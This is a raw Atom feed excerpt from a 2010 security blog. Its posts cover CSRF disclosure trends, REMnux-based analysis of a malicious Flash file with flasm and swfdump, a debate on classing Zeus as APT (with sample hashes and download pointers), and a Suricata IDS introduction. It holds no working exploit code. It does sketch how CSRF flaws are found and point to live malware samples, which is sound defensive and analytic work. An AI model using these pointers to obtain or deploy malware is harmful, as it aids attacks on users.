width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-7910024423005968988</id><published>2010-09-18T13:54:00.000-07:00</published><updated>2010-09-22T08:33:48.875-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>CSRF on the increase per two reports</title><content type='html'>As I've spent almost all of my research time this past year focusing on finding and disclosing (coordinated) CSRF vulnerabilities, it was with some amusement that I read &lt;a href="http://www.darkreading.com/vulnerability_management/security/app-security/showArticle.jhtml?articleID=227500047" target="_blank"&gt;CSRF Vulnerabilities Rise, Overall Vulnerability Disclosures Dip&lt;/a&gt; from Kelly Jackson Higgins last week. &lt;br /&gt;&lt;br /&gt;Therein she states that "overall, the number of vulnerability disclosures for the year is gradually declining to around 4,500 from nearly 7,000 last year, with the exception of &lt;span style="font-weight:bold;"&gt;CSRF, which had 155 vulnerabilities as of the first half of the year&lt;/span&gt;." This article is ultimately referring to TippingPoint DV Lab's Top Risks &lt;a href="http://dvlabs.tippingpoint.com/toprisks2010" target="_blank"&gt;report&lt;/a&gt;.&lt;br /&gt;Wolfgang Kandek, CTO at Qualys, follows with "CSRF is difficult ... and complex."&lt;br /&gt;I must respectfully disagree, it's really not, but I'll discuss that in a minute.&lt;br /&gt;&lt;br /&gt;I was pleased to run into Jeremiah Grossman at the ISSA International Conference last week, and he stated that CSRF has moved up on the imminently pending 10th WhiteHat Security Statistics Report. He was careful to pointy out however that its not because sites are more vulnerable to CSRF; rather, WhiteHat Security customers are more interested in having the issue reported combined with better Sentinel detection.&lt;br /&gt;The point about better detection on WhiteHat's part ties back to my disagreement over the claim that CSRF is difficult and complex.&lt;br /&gt;Exploiting CSRF is really not complicated at all, but it has been historically difficult to discover via automated scanning (sorry, &lt;a href="http://holisticinfosec.blogspot.com/2010/04/csrf-six-degrees-of-kevin-beaver-or-at.html" target="_blank"&gt;Kevin&lt;/a&gt; ;-). There are nuances that require fairly significant manual interaction with a potentially vulnerable application; enumeration and parameter reconnaissance is required, followed by building forms specific to various POST requests. Consider &lt;a href="http://holisticinfosec.blogspot.com/2009/04/tamper-data-csrf-examined.html" target="_blank"&gt;Tamper Data&lt;/a&gt; your bff for this effort. Most importantly, noting the lack of a token/formkey/canary is generally the first, best step to determining CSRF vulnerability with targeted manipulation thereafter.&lt;br /&gt;&lt;br /&gt;Of the 155 CSRF disclosures mentioned in Kelly's article for the first half of 2010, 14 are &lt;a href="https://holisticinfosec.org/content/category/6/23/45/" target="_blank"&gt;advisories&lt;/a&gt; I submitted through &lt;a href="http://secunia.com/advisories/search/?search=russ+mcree" target="_blank"&gt;Secunia&lt;/a&gt; and are widely varied in their scope.&lt;br /&gt;You'll note the expected vulnerable CMS platforms, but you'll also find &lt;a href="https://holisticinfosec.org/content/view/144/45/" target="_blank"&gt;HP printers&lt;/a&gt;, &lt;a href="https://holisticinfosec.org/content/view/144/45/" target="_blank"&gt;server logging agents&lt;/a&gt;, &lt;a href="https://holisticinfosec.org/content/view/147/45/" target="_blank"&gt;system management interfaces&lt;/a&gt;, and &lt;a href="https://holisticinfosec.org/content/view/145/45/" target="_blank"&gt;web mail providers&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;My point is this, CSRF is not hard to find, is easy to exploit, and often remains unrepaired in web applications long after the other OWASP Top 10 biggies have been fixed. &lt;br /&gt;Token up, people!&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/09/csrf-on-increase-per-two-reports.html&amp;amp;title=CSRF%20on%20the%20increase%20per%20two%20reports" title="CSRF on the increase per two reports "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/09/csrf-on-increase-per-two-reports.html" title="CSRF on the increase per two reports "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/09/csrf-on-increase-per-two-reports.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-7910024423005968988?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/7910024423005968988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=7910024423005968988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7910024423005968988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7910024423005968988'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/09/csrf-on-increase-per-two-reports.html' title='CSRF on the increase per two reports'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-1259739776162710016</id><published>2010-09-05T12:52:00.001-07:00</published><updated>2010-09-05T15:23:04.743-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Lenny Zeltser'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Flash'/><title type='text'>Everybody Loves REMnux</title><content type='html'>A quick read of the SANS Forensics blog, courtesy of Gregory Pendergast, and you'll get a feel for all the positive feedback for &lt;a href="http://zeltser.com/" target="_blank"&gt;Lenny Zeltser&lt;/a&gt;'s &lt;a href="http://zeltser.com/remnux/" target="_blank"&gt;REMnux&lt;/a&gt;.&lt;br /&gt;Lenny has dedicated himself to furthering the malware reverse engineering cause, both as a teacher and analyst; his SANS courses are popular for good reason.&lt;br /&gt;&lt;br /&gt;September's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; covers &lt;a href="http://holisticinfosec.org/toolsmith/docs/september2010.html" target="_blank"&gt;REMnux&lt;/a&gt; and offers some detail specific to its use.&lt;br /&gt;&lt;br /&gt;One area I often use REMnux for is malicious Flash analysis.&lt;br /&gt;Evil Flash, distributed in particular via online advertising platforms, is a constant concern for online providers. Suffice it to say that my team has encountered such problem children more than once. ;-)&lt;br /&gt;As an example, an older sample (MD5: 525445764564B34070CF2F9DCC6C2DAA) makes for a great test case. You can grab the sample for your own testing at &lt;a href="http://offensivecomputing.net/"&gt;OffensiveComputing.net&lt;/a&gt;.&lt;br /&gt;Imagine you've grabbed the sample via &lt;span style="font-family: courier new;"&gt;wget&lt;/span&gt; from your REMnux VM, after proxy-based analysis of the malicious URL.&lt;br /&gt;A simple check for interesting results might be the likes of&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;flasm 525445764564b34070cf2f9dcc6c2daa.swf&lt;/span&gt;, which would result in a .flm file named identically for SWF file analyzed. Figure 1 shows the concatenated results.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TIQNluz8qaI/AAAAAAAAAXg/fDeZSDvmb1g/s1600/flasm.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 62px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TIQNluz8qaI/AAAAAAAAAXg/fDeZSDvmb1g/s320/flasm.png" alt="" id="BLOGGER_PHOTO_ID_5513546785680566690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;While flasm is convenient, the preferred method would be&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;swfdump -Ddu 525445764564b34070cf2f9dcc6c2daa.swf&lt;/span&gt;&lt;br /&gt;The &lt;span style="font-family: courier new;"&gt;-D&lt;/span&gt; switch provides full (everything) output, the &lt;span style="font-family: courier new;"&gt;-d&lt;/span&gt; switch prints the hex output, and &lt;span style="font-family: courier new;"&gt;-u&lt;/span&gt; shows the Tag IDs.&lt;br /&gt;Figure 2 offers the results.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TIQOaIutBRI/AAAAAAAAAXo/AqtprshOMp8/s1600/swfdump.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 134px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TIQOaIutBRI/AAAAAAAAAXo/AqtprshOMp8/s320/swfdump.png" alt="" id="BLOGGER_PHOTO_ID_5513547685991089426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note that that the DEFINEBUTTON2 config for Tag ID 4 grabs an URL then issues the ActionScript &lt;a href="http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary372.html" target="_blank"&gt;FSCommand:exec&lt;/a&gt; to execute arquivo.scr (never a good thing).&lt;br /&gt;Tag ID 4 was conveniently named "bot" by its creator; why bother hiding, right?&lt;br /&gt;&lt;br /&gt;With a modicum of effort, maliciousness confirmed, you're ready to take action: report the malicious SWF to the provider, or remove it you are the provider.&lt;br /&gt;&lt;br /&gt;You'll enjoy REMnux; it's an excellent collection of useful tools gathered in a simple but functional distro.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/09/everybody-loves-remnux.html&amp;amp;title=Everybody%20Loves%20REMnux&lt;br /&gt;" title="Everybody Loves REMnux&lt;br /&gt; "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/09/everybody-loves-remnux.html" title="Everybody Loves REMnux&lt;br /&gt; "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/09/everybody-loves-remnux.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-1259739776162710016?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/1259739776162710016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=1259739776162710016' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1259739776162710016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1259739776162710016'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/09/everybody-loves-remnux.html' title='Everybody Loves REMnux'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/TIQNluz8qaI/AAAAAAAAAXg/fDeZSDvmb1g/s72-c/flasm.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6337441123918278066</id><published>2010-08-22T13:35:00.002-07:00</published><updated>2010-08-22T17:14:59.756-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gary Hoglund'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Zbot'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Zeus'/><category scheme='http://www.blogger.com/atom/ns#' term='M86'/><category scheme='http://www.blogger.com/atom/ns#' term='Eric Cole'/><title type='text'>Is Zeus an APT, or v3?</title><content type='html'>I've given a few &lt;a href="http://holisticinfosec.org/presentations/RSA2010.html" target="_blank"&gt;presentations&lt;/a&gt; this past year regarding security visualization where I have implied for all intents and purposes that Zeus (or Zbot) can be considered part of the advanced persistent threat (APT) picture. &lt;br /&gt;As I prepared for the most recent presentation to the &lt;a href="http://issa-ps.org" target="_blank"&gt;ISSA Puget Sound&lt;/a&gt; chapter meeting I contemplated the premise of Zeus-as-APT a bit further, and also found myself amused by the implication that there was now a Zeus v3. &lt;br /&gt;&lt;br /&gt;Let me first debunk the v3 claims.&lt;br /&gt;The Zeus hype over the last few weeks has been off the charts given a brilliant marketing campaign from &lt;a href="http://www.m86security.com/documents/pdfs/security_labs/cybercriminals_target_online_banking.pdf" target="_blank"&gt;M86&lt;/a&gt; who, in their latest white paper, have gone so far as to refer to certain Zeus variants as Zeus v3. &lt;br /&gt;Quite simply, I disagree. &lt;br /&gt;The M86 white paper states that "Zbot/Zeus v3 version is an evolved mutation of Zbot 2. Unlike the older version, this one focused specifically on online banking."&lt;br /&gt;If this is the basis for declaring the samples analyzed for this white paper as v3 I must cry foul.&lt;br /&gt;As an example, &lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt; includes content from a Zeus v1 (yes v1, not even v2) config file that clearly targets online banking, specifically Wells Fargo. The MD5 hash for this sample is 3cfc97f88e7b24d3ceecd4ba7054e138 if you wish to confirm for yourself.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/THGe_rNYQpI/AAAAAAAAAXA/1F25NfBQQAo/s1600/zeusV1config.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 122px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/THGe_rNYQpI/AAAAAAAAAXA/1F25NfBQQAo/s320/zeusV1config.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5508358636018614930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Zeus version transition from v1 to v2 was born of the inclusion of code signing, advanced encryption methods, and licensing (one install per registered user, please). Either way Zeus has long targeted online banking and does not warrant new version nomenclature on this premise alone. I'll grant that mutations and variations are rapid amongst Zeus samples, with particular goal of avoiding detection, but in my opinion it's still the same v2 code-base.&lt;br /&gt;&lt;br /&gt;While a bit more difficult to de-obfuscate, a recent Zeus v2 sample showed clear signs of classic Zeus behavior and targeted a mass of online banking offerings.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt; offers a small subset of targeted institutions pulled directly from the config file.&lt;br /&gt;The MD5 hash for this sample is d86ba734b30c650b091dd39e7707872c and you can pull the sample for your own analysis from &lt;a href="https://zeustracker.abuse.ch/monitor.php?host=ultraviolent.co.uk"&gt;ZeuS Tracker&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/THGmB8ZnrsI/AAAAAAAAAXI/j_u9C8BKZdM/s1600/ZeusV2config.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 258px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/THGmB8ZnrsI/AAAAAAAAAXI/j_u9C8BKZdM/s320/ZeusV2config.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5508366371574492866" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As per the "Is Zeus an APT?" question, I have mixed feelings here.&lt;br /&gt;I've recently read two excellent discussions on the matter that offer slightly different perspectives.&lt;br /&gt;&lt;br /&gt;In &lt;a href="http://twitter.com/drericcole" target="_blank"&gt;Dr. Eric Cole's&lt;/a&gt; &lt;a href="http://www.darkreading.com/blog/archives/2010/08/advanced_persis.html" target="_blank"&gt;Advanced Persistent Threat: The Insider Threat&lt;/a&gt;, posted to Dark Reading on Aug 16th, he is very precise in his definition of APT: &lt;br /&gt;&lt;span style="font-style:italic;"&gt;"The entry point with many attacks is focusing on convincing a user to click on a link. However, once the APT breaks into a system, it is very sophisticated in what it does and how it works. Signature analysis will be ineffective in protecting against it. Advanced attacks are always changing, recompiling on the fly, and utilizing encryption to avoid detection."&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Gary Hoglund's &lt;a href="http://www.scmagazineus.com/the-shadowy-world-of-the-advanced-persistent-threat-and-botnets/article/174715/" target="_blank"&gt;The shadowy world of the advanced persistent threat and botnets&lt;/a&gt;, posted to SC Magazine on July 15 offers a slightly different take:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"…botnets traditionally were not associated with state-sponsored attacks (sometimes called advanced persistent threats, or APT). While that characterization may have worked five years ago, it is completely outmoded for today's threat landscape.  Botnets have evolved to become generic remote-access frameworks."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dr. Cole further states that &lt;span style="font-style:italic;"&gt;"stealth and being covert are the main goals of today's attacks. APT's goal is to look as close {if not identical} to legitimate traffic. The difference is so minor that many security devices cannot differentiate between them."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Zeus clearly communicates via "legitimate traffic", isn't noisy, and goes to great lengths to disguise itself.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://fasthorizon.blogspot.com/" target="_blank"&gt;Hoglund&lt;/a&gt; also points out that Zeus &lt;span style="font-style:italic;"&gt;"has a plugin architecture, so any capability is possible. The base source code of Zeus readily is available, and attackers can easily customize the system for any purpose. There are hundreds of custom variations of Zeus in operation today.”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Following the sound logic from both of these gentlemen, Zeus is a bot used for APT-like attacks. While it may not often be used in very narrow, highly specific attacks (not to say that it isn't), it is certainly used in a very targeted fashion.&lt;br /&gt;Attackers simply drop the C&amp;C mechanism on hacked web server (see &lt;span style="font-weight:bold;"&gt;Figure 3&lt;/span&gt;), target a specific victim set, and collect data until shutdown, where after the move on.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/THGrUlTZ-oI/AAAAAAAAAXQ/xl7CkUA73wU/s1600/ZeuSTracker.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 219px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/THGrUlTZ-oI/AAAAAAAAAXQ/xl7CkUA73wU/s320/ZeuSTracker.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5508372189350066818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This morning's RSS headlines included a most troubling &lt;a href="http://blog.trendmicro.com/zeus-variant-targets-us-military-personnel/"&gt;reference&lt;/a&gt; from TrendMicro detailing Zeus being utilized for a deeply nefarious and specific purpose: targeting US military personnel bank accounts. &lt;br /&gt;While this may be a broad victim audience, it's still targeted specifically to Bank of America Military banking users.&lt;br /&gt;&lt;br /&gt;So is Zeus an APT? If not, it certainly partially qualifies; call it pseudo-APT.&lt;br /&gt;&lt;br /&gt;Let me know what you think, of both the Zeus-as-APT debate as well as the M86-driven Zeus v3 ambiguity. Comments welcome.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/08/is-zeus-apt-or-v3.html&amp;amp;title=Is%20Zeus%20an%20APT,%20or%20v3?" title="Is Zeus an APT, or v3? "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/08/is-zeus-apt-or-v3.html" title="Is Zeus an APT, or v3? "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/08/is-zeus-apt-or-v3.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6337441123918278066?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6337441123918278066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6337441123918278066' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6337441123918278066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6337441123918278066'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/08/is-zeus-apt-or-v3.html' title='Is Zeus an APT, or v3?'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kVOWaY1TAF0/THGe_rNYQpI/AAAAAAAAAXA/1F25NfBQQAo/s72-c/zeusV1config.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-3986404178517680860</id><published>2010-08-03T14:18:00.000-07:00</published><updated>2010-08-03T20:58:12.672-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='intrusion detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Suricata'/><category scheme='http://www.blogger.com/atom/ns#' term='intrusion prevention'/><category scheme='http://www.blogger.com/atom/ns#' term='emerging threats'/><title type='text'>Suricata in toolsmith: meet the meerkat</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TFjjfMS1yfI/AAAAAAAAAWY/oer37fymskI/s1600/title.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 266px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TFjjfMS1yfI/AAAAAAAAAWY/oer37fymskI/s320/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5501397069848758770" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Rather than &lt;a href="http://www.informationweek.com/news/software/open_source/showArticle.jhtml?articleID=226400079" target="_blank"&gt;fan&lt;/a&gt; the Suricata versus Snort &lt;a href="http://news.techworld.com/sme/3233111/snort-suricata-creators-in-heated-debate/?olo=rss" target="_blank"&gt;flames&lt;/a&gt; (you're both great kids and I love you equally) I'm opting for Swiss-like neutrality and simply invite you to explore Suricata at length. &lt;br /&gt;See Victor Julien's &lt;a href="http://www.inliniac.net/blog/2010/07/22/on-suricata-performance.html" target="_blank"&gt;post&lt;/a&gt; on the matter as he sums it up succinctly.&lt;br /&gt;While I've always been a Snort user, I've also long been an ardent supporter of Matt Jonkman's &lt;a href="http://emergingthreats.net/" target="_blank"&gt;Emerging Threats&lt;/a&gt;. Given his logical progression towards the Open Information Security Foundation (&lt;a href="http://www.openinfosecfoundation.org/" target="_blank"&gt;OISF&lt;/a&gt;), a "non-profit foundation organized to build a next generation IDS/IPS engine", I felt deeply obligated to cover Suricata in &lt;span style="font-style:italic;"&gt;&lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt;&lt;/span&gt;.   &lt;br /&gt;&lt;br /&gt;&lt;a href="http://holisticinfosec.org/toolsmith/docs/august2010.html" target="_blank"&gt;Suricata: An Introduction&lt;/a&gt; is my effort to oblige.&lt;br /&gt;&lt;br /&gt;While this article is painfully introductory, it should whet your appetite.&lt;br /&gt;&lt;a href="http://www.openinfosecfoundation.org/index.php/download-suricata"&gt;Suricata&lt;/a&gt;, as the "product" of OISF, is compelling on different fronts.&lt;br /&gt;&lt;br /&gt;1) &lt;span style="font-weight:bold;"&gt;Intent:&lt;/span&gt; "OISF’s primary goal is to remain on the leading edge of open source IDS/IPS development, community needs and objectives." &lt;br /&gt;As such, Suricata "is not intended to just replace or emulate the existing tools in the industry, but will bring new ideas and technologies to the field." &lt;br /&gt;Committing to community needs and objectives, much as Emerging Threats has, is noble and valuable.&lt;br /&gt;&lt;br /&gt;2) &lt;span style="font-weight:bold;"&gt;Scale:&lt;/span&gt; My testing on a dual core box matches Victor's assessment. &lt;br /&gt;"Is Suricata faster than Snort on a single core cycle for cycle, tick for tick? No. But we scale. We’ve had reports of running on a 32 core box and scaling to use all cores. There Suricata is much faster."&lt;br /&gt;I believe performance at scale is essential/vital/critical to IDS/IPS success in this burgeoning age of all things cloud and virtual (think complexity, and mondo network traffic).  Groundbreaking thinking on my part, I know. ;-)&lt;br /&gt;Consider that an unnamed military body has tested Suricata versus Snort on a large scale platform (24 processors and 128GB of RAM) and saw a very clear 6-fold speed increase over a tuned Snort implementation on the same platform. &lt;br /&gt;&lt;br /&gt;3) &lt;span style="font-weight:bold;"&gt;HTP Library:&lt;/span&gt; In a context similar to all things cloud (online services), effective HTTP normalization and parsing is mighty important. Ivan &lt;a href="http://holisticinfosec.blogspot.com/2010/06/book-review-modsecurity-handbook.html"&gt;Ristic&lt;/a&gt;'s HTP Library endeavors to provide "very advanced processing of HTTP streams for Suricata."&lt;br /&gt;&lt;br /&gt;4) &lt;span style="font-weight:bold;"&gt;Features:&lt;/span&gt; I'll let the comparison chart speak for itself.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/TFiXFQgri7I/AAAAAAAAAWQ/jMx5ltyP-S0/s1600/featuresComp.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 310px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/TFiXFQgri7I/AAAAAAAAAWQ/jMx5ltyP-S0/s320/featuresComp.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5501313061420239794" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Performance geeks will definitely want to explore the use of PF_RING and leveraging CUDA-capable hardware. The article clarifies these a bit more.&lt;br /&gt;&lt;br /&gt;5) &lt;span style="font-weight:bold;"&gt;Same rules (Snort-based):&lt;/span&gt; Need I say more? &lt;br /&gt;&lt;br /&gt;These should be ample reasons for you to give Suricata a really close look. &lt;br /&gt;Deploy it. &lt;br /&gt;Give it every opportunity to prove itself side by side with your current IDS/IPS solution.&lt;br /&gt;Keep an eye on the project site, and get involved.&lt;br /&gt;Start by downloading 1.0.1 &lt;a href="http://www.openinfosecfoundation.org/index.php/download-suricata" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/08/suricata-in-toolsmith-meet-meerkat.html&amp;amp;title=Suricata%20in%20toolsmith:%20meet%20the%20meerkat" title="Suricata in toolsmith: meet the meerkat "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/08/suricata-in-toolsmith-meet-meerkat.html" title="Suricata in toolsmith: meet the meerkat "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/08/suricata-in-toolsmith-meet-meerkat.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-3986404178517680860?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 